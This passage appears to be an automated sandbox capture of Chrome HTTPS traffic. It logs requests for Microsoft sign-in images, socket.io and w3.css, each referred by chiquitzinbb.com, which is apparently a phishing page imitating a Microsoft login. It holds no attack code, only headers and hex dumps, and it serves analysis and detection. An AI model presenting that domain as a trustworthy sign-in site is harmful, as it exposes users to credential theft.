2024-10-24 14:04:37 UTC	16384	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f5 ed ff a4 82 22 ff Data Ascii: "
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ef d6 99 ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff f8 ee d4 ff ff ff ff ff ff ff ff ff ed d0 8b ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff e5 bc 58 ff fc f9 f1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 e4 bc ff df ab 2f ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff ff ff ff ff Data Ascii: ------------------------X/-------
2024-10-24 14:04:37 UTC	15155	IN	Data Raw: ae 35 ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff dc af 40 ff cc cc cc ff cc cc cc ff ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe fe fb f7 eb fe e2 b3 43 fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff ea ca 7a fe fe fe fe fe fe fc f8 ff e1 b0 3b fe de aa 2c fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff de aa 2c fe df ab 2d ff de aa 2c fe de aa 2c fe ea c9 78 ff fe fe fd fe fe fe fe fe ff ff ff ff fe fe fd fe ed d0 8a fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff de aa 2c fe dc af 40 fe cb cb cb fe cc cc cc ff ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe Data Ascii: 5----@C-,,-,,-z;,-,,-,-,,x-,,-,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	13.107.246.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	654	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:36 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:36 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: f7e7a450-101e-0074-1f94-25c80b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140436Z-16849878b786wvrz321uz1cknn00000007rg00000000m8xp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:36 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	13.107.246.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	674	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:36 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:36 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 7c150515-b01e-0051-4e8d-245eda000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140436Z-r197bdfb6b4qpk6v9629ad4b5s0000000cd000000000dt1p x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:36 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	13.107.253.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	652	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:36 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:36 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: b9fe5beb-001e-0011-7ea5-242e5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140436Z-17fbfdc98bb94gkbvedtsa5ef400000007fg0000000038c0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:36 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	13.107.246.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	657	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:36 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:36 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 08eba4be-301e-0057-6db6-211ada000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140436Z-16849878b787c9z7hb8u9yysp000000007ug00000000hy2u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:36 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49746	18.245.31.5	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:36 UTC	359	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:37 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 2146d75cb402f16f98928cb19acf5ff6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: 4nWJvPnu4pMXScuUHGotKANHI8P9BK1v34jhCGI2dfWwkHGiQ16Gcg== Age: 7486067
2024-10-24 14:04:37 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: 64 20 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 29 2c 30 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 69 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 2b 2b 2c 69 2e 72 65 71 75 65 73 74 73 5b 74 68 69 73 2e 69 6e 64 65 78 5d 3d 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 65 2c 74 68 69 73 2e 78 68 72 29 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 6e Data Ascii: d this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(e){this.emitReserved("error",e,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:fun
2024-10-24 14:04:37 UTC	16384	IN	Data Raw: 65 2e 64 61 74 61 2c 69 64 3a 65 2e 69 64 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 63 6f 64 65 41 73 53 74 72 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 2b 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 26 26 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 7c 7c 28 74 2b 3d 65 2e 61 74 74 61 63 68 6d 65 6e 74 73 2b 22 2d 22 29 2c 65 2e 6e 73 70 26 26 22 2f 22 21 3d 3d 65 2e 6e 73 70 26 26 28 74 2b 3d 65 2e 6e 73 70 2b 22 2c 22 29 2c 6e 75 6c 6c 21 3d 65 2e 69 64 26 26 28 74 2b 3d 65 2e 69 64 29 2c 6e 75 6c 6c 21 3d 65 2e 64 61 74 61 26 26 28 74 2b 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2e 64 61 74 61 2c 74 68 69 Data Ascii: e.data,id:e.id})}},{key:"encodeAsString",value:function(e){var t=""+e.type;return e.type!==Be.BINARY_EVENT&&e.type!==Be.BINARY_ACK\|\|(t+=e.attachments+"-"),e.nsp&&"/"!==e.nsp&&(t+=e.nsp+","),null!=e.id&&(t+=e.id),null!=e.data&&(t+=JSON.stringify(e.data,thi
2024-10-24 14:04:37 UTC	1543	IN	Data Raw: 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 28 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 61 74 74 65 6d 70 74 22 2c 74 2e 62 61 63 6b 6f 66 66 2e 61 74 74 65 6d 70 74 73 29 2c 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 74 2e 6f 70 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 28 74 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 3d 21 31 2c 74 2e 72 65 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 65 72 72 6f 72 22 2c 6e 29 29 3a 74 2e 6f 6e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 29 29 29 7d 29 2c 6e 29 3b 74 68 69 73 2e 6f 70 74 73 2e 61 75 74 6f 55 6e 72 65 66 26 26 72 2e Data Ascii: etTimeoutFn((function(){t.skipReconnect\|\|(e.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect\|\|t.open((function(n){n?(t._reconnecting=!1,t.reconnect(),e.emitReserved("reconnect_error",n)):t.onreconnect()})))}),n);this.opts.autoUnref&&r.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49745	192.229.133.221	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:37 UTC	545	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:37 UTC	581	IN	HTTP/1.1 200 OK Age: 191559 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; Content-Type: text/css Date: Thu, 24 Oct 2024 14:04:37 GMT Etag: "0a29a965824db1:0+gzip+ident" Last-Modified: Tue, 22 Oct 2024 08:01:24 GMT Server: ECS (lhd/35B3) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-10-24 14:04:37 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
2024-10-24 14:04:37 UTC	1	IN	Data Raw: 21 Data Ascii: !
2024-10-24 14:04:37 UTC	7043	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 Data Ascii: important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	152.199.21.175	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
